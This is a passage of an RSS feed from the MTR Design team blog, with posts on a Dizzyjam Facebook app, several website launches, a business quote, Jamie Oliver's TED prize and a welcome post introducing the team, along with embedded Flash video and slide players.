<p>Diversification is the key to success. So now the artists can be successful merchandisers using not only their account on Dizzyjam, but making their Facebook profile work for them as well. And after all the more the pub - the more the fans &ndash; both results &ndash; multiplying the sales and the growing number of fans are gratifying. &nbsp;Just install the Dizzyjam Facebook app and enjoy your fans&rsquo; number boost.</p>
<p><img title="Dizzyjam Facebook App" src="http://mtr-design.com/var/blog/dizzyjam-facebook.jpg" alt="Dizzyjam Facebook App" width="702" height="542" /></p>
<p>The app is quite simple to manage and unobtrusively mingles with the interface of your Facebook page. It&rsquo;s easy to install and configure, even easier to use and is a real business galvanizer.</p>
<p>So have a nice time on the web and feel free to be seen everywhere with your wonderful designs.</p>]]></content:encoded>
			</item>
					<item>
				<title>Website launch - Isaysolar</title>
				<link>http://mtr-design.com/blog/website-launch-isaysolar/</link>
				<pubDate>Fri, 15 Apr 2011 14:49:14 +0000</pubDate>
				<dc:creator>Nikolay Nedev</dc:creator>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/website-launch-isaysolar/</guid>
								<description><![CDATA[<p><img title="isaysolar" src="http://mtr-design.com/var/blog/isaysolar.jpg" alt="isaysolar" width="702" height="402" /></p>
<p>Our latest project was just finished -we launched the new website for <a href="http://www.isaysolar.com/">isaysolar Limited</a> , the latest "rent-a-roof" business in UK. Collaborating with our friend and very talented designer <a href="http://www.whatidobest.co.uk/">Ed Ovenden</a>, we did the frontend coding and the CMS programming.</p>
<p>The website itself is promoting their free solar panel offering. If you're a homeowner, why not check out <a href="http://www.isaysolar.com/">their website</a> and see if you can benefit from free solar electricity and in the same time help save the planet from climate change?</p>]]></description>
				<content:encoded><![CDATA[<p><img title="isaysolar" src="http://mtr-design.com/var/blog/isaysolar.jpg" alt="isaysolar" width="702" height="402" /></p>
<p>Our latest project was just finished -we launched the new website for <a href="http://www.isaysolar.com/">isaysolar Limited</a> , the latest "rent-a-roof" business in UK. Collaborating with our friend and very talented designer <a href="http://www.whatidobest.co.uk/">Ed Ovenden</a>, we did the frontend coding and the CMS programming.</p>
<p>The website itself is promoting their free solar panel offering. If you're a homeowner, why not check out <a href="http://www.isaysolar.com/">their website</a> and see if you can benefit from free solar electricity and in the same time help save the planet from climate change?</p>]]></content:encoded>
			</item>
					<item>
				<title>Lessons learned from Richard St John</title>
				<link>http://mtr-design.com/blog/lessons-learned-from-richard-st-john/</link>
				<pubDate>Tue, 07 Dec 2010 11:32:15 +0000</pubDate>
				<dc:creator>Nikolay Nedev</dc:creator>
									<category><![CDATA[Quotes]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/lessons-learned-from-richard-st-john/</guid>
								<description><![CDATA[<p>&nbsp;</p>
<div id="__ss_3720529" style="width: 425px;">&nbsp;  
<object id="__sse3720529" width="596" height="498" data="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=richardstjohn-100414072051-phpapp01&amp;stripped_title=lessonsrichard-st-john&amp;userName=mtrdesign" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowScriptAccess" value="always" />
<param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=richardstjohn-100414072051-phpapp01&amp;stripped_title=lessonsrichard-st-john&amp;userName=mtrdesign" />
<param name="name" value="__sse3720529" />
<param name="allowfullscreen" value="true" />
</object>
</div><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=richardstjohn-100414072051-phpapp01&amp;stripped_title=lessonsrichard-st-john&amp;userName=mtrdesign" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="596" height="498"></embed>]]></description>
				<content:encoded><![CDATA[<p>&nbsp;</p>
<div id="__ss_3720529" style="width: 425px;">&nbsp;  
<object id="__sse3720529" width="596" height="498" data="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=richardstjohn-100414072051-phpapp01&amp;stripped_title=lessonsrichard-st-john&amp;userName=mtrdesign" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowScriptAccess" value="always" />
<param name="src" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=richardstjohn-100414072051-phpapp01&amp;stripped_title=lessonsrichard-st-john&amp;userName=mtrdesign" />
<param name="name" value="__sse3720529" />
<param name="allowfullscreen" value="true" />
</object>
</div><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=richardstjohn-100414072051-phpapp01&amp;stripped_title=lessonsrichard-st-john&amp;userName=mtrdesign" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="596" height="498"></embed>]]></content:encoded>
			</item>
					<item>
				<title>Web site launch – ime.bg</title>
				<link>http://mtr-design.com/blog/ime-bg/</link>
				<pubDate>Wed, 10 Nov 2010 08:10:21 +0000</pubDate>
				<dc:creator>Nikolay Nedev</dc:creator>
									<category><![CDATA[Projects]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/ime-bg/</guid>
								<description><![CDATA[<p>The <a href="http://ime.bg/" target="_blank">Institute for Market Economics (IME)</a> is the first independent economic research institute in Bulgaria, and we loved working on this project in the hope that for many years ahead the IME will remain a thorn in the eyes of any subsequent Bulgarian government, which prefers to spend more (of our) money, instead of creating real reforms. We tried to make a proper media site &ndash; with many articles, photos and video materials &ndash; and hopefully it could become a destination for all Bulgarian citizens, who value their freedom, and would like to see more &ldquo;market&rdquo; and less &ldquo;state&rdquo; in the economy.</p>
<p>
<object width="560" height="349" data="http://www.youtube.com/v/d0nERTFo-Sk?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="src" value="http://www.youtube.com/v/d0nERTFo-Sk?fs=1&amp;hl=en_US&amp;rel=0" />
<param name="allowfullscreen" value="true" />
</object>
</p>
<p>And dear English friends, I guess you already know that your government spends more than he earns (app. 152 billion pounds budget deficit for 2009), but did you know that this excess is 5 times greater than the revenues of the Bulgarian government (our GNP for the year 2009 is app. 30 billion pounds)?</p><embed src="http://www.youtube.com/v/d0nERTFo-Sk?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="560" height="349"></embed>]]></description>
				<content:encoded><![CDATA[<p>The <a href="http://ime.bg/" target="_blank">Institute for Market Economics (IME)</a> is the first independent economic research institute in Bulgaria, and we loved working on this project in the hope that for many years ahead the IME will remain a thorn in the eyes of any subsequent Bulgarian government, which prefers to spend more (of our) money, instead of creating real reforms. We tried to make a proper media site &ndash; with many articles, photos and video materials &ndash; and hopefully it could become a destination for all Bulgarian citizens, who value their freedom, and would like to see more &ldquo;market&rdquo; and less &ldquo;state&rdquo; in the economy.</p>
<p>
<object width="560" height="349" data="http://www.youtube.com/v/d0nERTFo-Sk?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowscriptaccess" value="always" />
<param name="src" value="http://www.youtube.com/v/d0nERTFo-Sk?fs=1&amp;hl=en_US&amp;rel=0" />
<param name="allowfullscreen" value="true" />
</object>
</p>
<p>And dear English friends, I guess you already know that your government spends more than he earns (app. 152 billion pounds budget deficit for 2009), but did you know that this excess is 5 times greater than the revenues of the Bulgarian government (our GNP for the year 2009 is app. 30 billion pounds)?</p><embed src="http://www.youtube.com/v/d0nERTFo-Sk?fs=1&amp;hl=en_US&amp;rel=0" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="560" height="349"></embed>]]></content:encoded>
			</item>
					<item>
				<title>The tempo of business</title>
				<link>http://mtr-design.com/blog/the-tempo-of-business/</link>
				<pubDate>Thu, 17 Jun 2010 11:30:42 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Quotes]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/the-tempo-of-business/</guid>
								<description><![CDATA[<p><em>The tempo of business is not one of stability, order, and a level playing field, but rather a disequilibrium and instability. Stability and equality only exist in the graveyards. Ralph Waldo Emerson once wrote, &ldquo;An institution is the lengthened shadow of one man.&rdquo;</em><br /><br />Ronald J. Baker, <a href="http://www.amazon.co.uk/Pricing-Purpose-Creating-Capturing-Value/dp/0471729809">Pricing on Purpose: Creating and Capturing Value</a></p>]]></description>
				<content:encoded><![CDATA[<p><em>The tempo of business is not one of stability, order, and a level playing field, but rather a disequilibrium and instability. Stability and equality only exist in the graveyards. Ralph Waldo Emerson once wrote, &ldquo;An institution is the lengthened shadow of one man.&rdquo;</em><br /><br />Ronald J. Baker, <a href="http://www.amazon.co.uk/Pricing-Purpose-Creating-Capturing-Value/dp/0471729809">Pricing on Purpose: Creating and Capturing Value</a></p>]]></content:encoded>
			</item>
					<item>
				<title>Jamie Oliver wins 2010 TED prize</title>
				<link>http://mtr-design.com/blog/jamie-oliver-wins-2010-ted-prize/</link>
				<pubDate>Sun, 28 Mar 2010 11:58:36 +0000</pubDate>
				<dc:creator>Milen Nedev</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[General]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/jamie-oliver-wins-2010-ted-prize/</guid>
								<description><![CDATA[<p>Although we could hardly call him &ldquo;our&rdquo; client (after all we are only web developers), some of the most interesting projects we have been working on were for his companies.</p>
<p><img src="http://mtr-design.com/var/images/test-gallery-folder/jamie.png" alt="" width="510" height="286" /></p>
<p><br />Internet definitely will not save the world, but I personally haven&rsquo;t found yet a better way for meeting some of the best minds on the planet. Jamie is surely one of them: a person with a clear purpose, that excites and inspires thousands with his wishes big enough to change the world.</p>
<!--copy and paste-->
<p>
<object width="446" height="328" data="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowScriptAccess" value="always" />
<param name="wmode" value="transparent" />
<param name="bgColor" value="#ffffff" />
<param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/JamieOliver_2010-medium.mp4&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/JamieOliver-2010.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=765&amp;lang=eng&amp;introDuration=15330&amp;adDuration=4000&amp;postAdDuration=830&amp;adKeys=talk=jamie_oliver;year=2010;theme=food_matters;theme=ted_prize_winners;theme=a_taste_of_ted2010;event=TED2010;&amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;" />
<param name="src" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" />
<param name="bgcolor" value="#ffffff" />
<param name="allowfullscreen" value="true" />
</object>
</p><embed flashvars="vu=http://video.ted.com/talks/dynamic/JamieOliver_2010-medium.mp4&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/JamieOliver-2010.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=765&amp;lang=eng&amp;introDuration=15330&amp;adDuration=4000&amp;postAdDuration=830&amp;adKeys=talk=jamie_oliver;year=2010;theme=food_matters;theme=ted_prize_winners;theme=a_taste_of_ted2010;event=TED2010;&amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;" src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="446" height="328"></embed>]]></description>
				<content:encoded><![CDATA[<p>Although we could hardly call him &ldquo;our&rdquo; client (after all we are only web developers), some of the most interesting projects we have been working on were for his companies.</p>
<p><img src="http://mtr-design.com/var/images/test-gallery-folder/jamie.png" alt="" width="510" height="286" /></p>
<p><br />Internet definitely will not save the world, but I personally haven&rsquo;t found yet a better way for meeting some of the best minds on the planet. Jamie is surely one of them: a person with a clear purpose, that excites and inspires thousands with his wishes big enough to change the world.</p>
<!--copy and paste-->
<p>
<object width="446" height="328" data="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" type="application/x-shockwave-flash">
<param name="allowFullScreen" value="true" />
<param name="allowScriptAccess" value="always" />
<param name="wmode" value="transparent" />
<param name="bgColor" value="#ffffff" />
<param name="flashvars" value="vu=http://video.ted.com/talks/dynamic/JamieOliver_2010-medium.mp4&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/JamieOliver-2010.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=765&amp;lang=eng&amp;introDuration=15330&amp;adDuration=4000&amp;postAdDuration=830&amp;adKeys=talk=jamie_oliver;year=2010;theme=food_matters;theme=ted_prize_winners;theme=a_taste_of_ted2010;event=TED2010;&amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;" />
<param name="src" value="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" />
<param name="bgcolor" value="#ffffff" />
<param name="allowfullscreen" value="true" />
</object>
</p><embed flashvars="vu=http://video.ted.com/talks/dynamic/JamieOliver_2010-medium.mp4&amp;su=http://images.ted.com/images/ted/tedindex/embed-posters/JamieOliver-2010.embed_thumbnail.jpg&amp;vw=432&amp;vh=240&amp;ap=0&amp;ti=765&amp;lang=eng&amp;introDuration=15330&amp;adDuration=4000&amp;postAdDuration=830&amp;adKeys=talk=jamie_oliver;year=2010;theme=food_matters;theme=ted_prize_winners;theme=a_taste_of_ted2010;event=TED2010;&amp;preAdTag=tconf.ted/embed;tile=1;sz=512x288;" src="http://video.ted.com/assets/player/swf/EmbedPlayer.swf" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="446" height="328"></embed>]]></content:encoded>
			</item>
					<item>
				<title>Hello and welcome to the official MTR Design Team blog</title>
				<link>http://mtr-design.com/blog/hello-and-welcome-to-the-official-mtr/</link>
				<pubDate>Mon, 08 Feb 2010 11:58:03 +0000</pubDate>
				<dc:creator>Nikolay Nedev</dc:creator>
									<category><![CDATA[Company News]]></category>
									<category><![CDATA[General]]></category>
								<guid isPermaLink="true">http://mtr-design.com/blog/hello-and-welcome-to-the-official-mtr/</guid>
								<description><![CDATA[<h3>A little history</h3>
<p>Hardly anyone (even in Bulgaria) could recall that MTR Design was started in 2005 as a design department of the highly successful Bulgarian online magazine Media Times Review.</p>
<p>Today, five years and a hundred completed projects later, we have established our UK branch, and it is pretty clear that 2010 will be for us an exciting year!</p>
<p>In our work we overcome many challenges, and constantly learn new stuff, so we thought it would be good to have a team blog, where we could share some useful info with you. Here we will be posting project updates, hot news and cool ideas! Keep an eye on it.</p>
<h3>About the authors</h3>
<p>Milen is a Project Manager, and a co-founder of MTR Design. He is also the first point of contact for our clients, and is personally &ldquo;guilty&rdquo; for the successful completion of a long list of web projects. Throughout the years he was responsible for the crafty befriending of clients such as: The Electric Sheep Company, River Cottage, BAA, and many other happy &ldquo;victims&rdquo;.</p>
<p>Nikolay is a former salesman turned Marketing | Business Development | Project Manager, and a co-founder of MTR Design. He is also the last point of contact for our clients due to his imaginable inability to improve his level of English. Throughout the years he successfully produced a number of inappropriate ideas for web applications, but to this very day his status of a &ldquo;co-founder&rdquo; keeps him steady in the team.</p>
<p>There is also a whole bunch of other highly suspicious individuals at MTR, that must be mentioned as they love being noted. Elena, Velentin, Stanislav, Vladimir, Marush and Alex all say hello to you.</p>
<p>See you around!</p>]]></description>
				<content:encoded><![CDATA[<h3>A little history</h3>
<p>Hardly anyone (even in Bulgaria) could recall that MTR Design was started in 2005 as a design department of the highly successful Bulgarian online magazine Media Times Review.</p>
<p>Today, five years and a hundred completed projects later, we have established our UK branch, and it is pretty clear that 2010 will be for us an exciting year!</p>
<p>In our work we overcome many challenges, and constantly learn new stuff, so we thought it would be good to have a team blog, where we could share some useful info with you. Here we will be posting project updates, hot news and cool ideas! Keep an eye on it.</p>
<h3>About the authors</h3>
<p>Milen is a Project Manager, and a co-founder of MTR Design. He is also the first point of contact for our clients, and is personally &ldquo;guilty&rdquo; for the successful completion of a long list of web projects. Throughout the years he was responsible for the crafty befriending of clients such as: The Electric Sheep Company, River Cottage, BAA, and many other happy &ldquo;victims&rdquo;.</p>
<p>Nikolay is a former salesman turned Marketing | Business Development | Project Manager, and a co-founder of MTR Design. He is also the last point of contact for our clients due to his imaginable inability to improve his level of English. Throughout the years he successfully produced a number of inappropriate ideas for web applications, but to this very day his status of a &ldquo;co-founder&rdquo; keeps him steady in the team.</p>
<p>There is also a whole bunch of other highly suspicious individuals at MTR, that must be mentioned as they love being noted. Elena, Velentin, Stanislav, Vladimir, Marush and Alex all say hello to you.</p>
<p>See you around!</p>]]></content:encoded>
			</item>
		
	</channel>
</rss>
